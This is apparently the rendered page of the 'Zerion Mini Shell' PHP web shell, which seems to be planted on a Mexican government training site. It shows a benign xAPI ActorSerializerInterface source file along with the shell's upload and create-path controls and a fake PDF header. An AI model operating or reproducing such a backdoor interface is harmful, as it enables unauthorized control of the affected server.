%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/cursos.tjamich.gob.mx/vendor/php-xapi/serializer/src/
Upload File :
Create Path :
Current File : /home/tjamichg/cursos.tjamich.gob.mx/vendor/php-xapi/serializer/src/ActorSerializerInterface.php

<?php

/*
 * This file is part of the xAPI package.
 *
 * (c) Christian Flothmann <christian.flothmann@xabbuh.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Xabbuh\XApi\Serializer;

use Xabbuh\XApi\Model\Actor;

/**
 * Serialize and deserialize {@link Actor actors}.
 *
 * @author Christian Flothmann <christian.flothmann@xabbuh.de>
 */
interface ActorSerializerInterface
{
    /**
     * Serializes an actor into a JSON encoded string.
     *
     * @param Actor $actor The actor to serialize
     *
     * @return string The serialized actor
     */
    public function serializeActor(Actor $actor);

    /**
     * Parses a serialized actor.
     *
     * @param string $data The serialized actor
     *
     * @return Actor The parsed actor
     */
    public function deserializeActor($data);
}

Zerion Mini Shell 1.0